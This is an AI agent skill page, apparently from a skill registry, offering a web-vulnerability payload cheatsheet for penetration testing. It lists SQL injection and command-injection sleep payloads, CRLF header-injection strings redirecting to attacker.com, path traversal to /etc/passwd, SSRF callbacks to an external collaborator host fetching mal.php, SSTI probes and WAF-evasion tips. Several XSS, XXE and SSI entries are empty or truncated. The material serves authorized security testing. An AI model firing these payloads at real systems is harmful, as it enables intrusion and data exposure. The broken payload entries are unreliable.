# Web Vulns Cheatsheet
> Web vulnerability payloads and testing techniques for security assessments. Use this skill whenever the user is doing penetration testing, bug bounty hunting, security research, or needs web vulnerability payloads (SQL injection, XSS, path traversal, SSRF, SSTI, etc.). Trigger on requests for exploit payloads, vulnerability testing, security audit help, or when analyzing web application security.
- Skill: `abelrguezr/web-vulns-cheatsheet` (Agent Skill, multi-file: 2 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/web-vulns-cheatsheet`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/web-vulns-cheatsheet/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Data & Analytics
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/web-vulns-cheatsheet
---
# Web Vulnerabilities Cheatsheet
A comprehensive reference for web vulnerability payloads and testing techniques. Use this during security assessments, penetration testing, or bug bounty hunting.
## Quick Reference by Vulnerability Type
### SQL Injection
**Time-based blind SQLi payloads:**
- `1;sleep(9);#` - MySQL
- `';sleep(9);#` - MySQL with quote
- `";sleep(9);#` - MySQL with double quote
- `/*$(sleep 5)` - Unix command injection variant
- `/*`sleep 5``*/` - Backtick variant
**Polyglot payloads (work across multiple contexts):**
```
{{7*7}}[7*7]
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
```
### Cross-Site Scripting (XSS)
**Basic XSS payloads:**
- ``
- `
`
- `javascript:alert(1)`
- `" onclick=alert(1)//`
**Advanced XSS bypasses:**
```
javascript:"/*'/*`/*-->
-->'"/>
">"
">
```
**XSS with HTTP header injection:**
```
%0d%0aLocation:%20http://attacker.com
%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
```
### Path Traversal
**Unix/Linux paths:**
- `/etc/passwd`
- `/etc/hostname`
- `/../../../../../../etc/hosts`
**Windows paths:**
- `C:/windows/system32/drivers/etc/hosts`
- `..\\..\\..\\..\\..\\..\\windows/system32/drivers/etc/hosts`
**Mixed traversal patterns:**
- `..\\..\\..\\..\\..\\..\\etc/hosts`
- `..\\..\\..\\..\\..\\..\\windows/system32/drivers/etc/hosts`
### Server-Side Request Forgery (SSRF)
**External resource access:**
- `http://asdasdasdasd.burpcollab.com/mal.php`
- `\\asdasdasdasd.burpcollab.com/mal.php`
**Domain bypass techniques:**
- `www.whitelisted.com.evil.com` - Subdomain injection
- `//google.com` - Protocol-relative bypass
### Server-Side Template Injection (SSTI)
**Template engine detection:**
```
{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%
```
**Jinja2/Python SSTI:**
- `{{7*7}}` - Basic expression
- `${{7*7}}` - Nested syntax
**ASP/Classic ASP:**
- `<%= 7*7 %>`
**Ruby ERB:**
- `<%[%'"}}%` variants
### XML External Entity (XXE)
**XSLT-based XXE:**
```xml
```
### Server-Side Include (SSI)
**SSI injection:**
```html
```
### Regular Expression Denial of Service (ReDoS)
**Vulnerable regex patterns:**
- `(\w*)+$` - Catastrophic backtracking
- `([a-zA-Z]+)*$` - Nested quantifiers
- `((a+)+)+$` - Multiple nested groups
## Testing Workflow
### 1. Reconnaissance
- Identify input vectors (URL parameters, POST data, headers, cookies)
- Map application technology stack
- Check for WAF/IPS presence
### 2. Payload Testing
- Start with simple payloads to confirm vulnerability
- Escalate to complex payloads for exploitation
- Test polyglot payloads for context-independent injection
### 3. Verification
- Use time-based delays for blind vulnerabilities
- Check for out-of-band callbacks (burpcollab)
- Verify file access for path traversal
- Confirm code execution for SSTI/SSRF
### 4. Documentation
- Record successful payloads
- Note application behavior
- Capture evidence (screenshots, logs)
## Important Notes
**Legal & Ethical:**
- Only test systems you have explicit authorization to assess
- Document all findings for responsible disclosure
- Follow bug bounty program rules and scope
**Safety:**
- Test in isolated environments when possible
- Avoid destructive payloads in production
- Use time-based detection over data exfiltration during initial testing
**Context Matters:**
- Payloads may need encoding based on context (URL, HTML, JavaScript)
- WAFs may block common patterns - try variations
- Application-specific filters may require custom payloads
## When to Use This Skill
Use this skill when:
- Conducting authorized penetration tests
- Participating in bug bounty programs
- Learning web security concepts
- Needing quick reference for vulnerability payloads
- Analyzing web application security issues
- Preparing security assessments
Do NOT use this skill for:
- Unauthorized access to systems
- Malicious activities
- Testing without proper authorization
- Any illegal purposes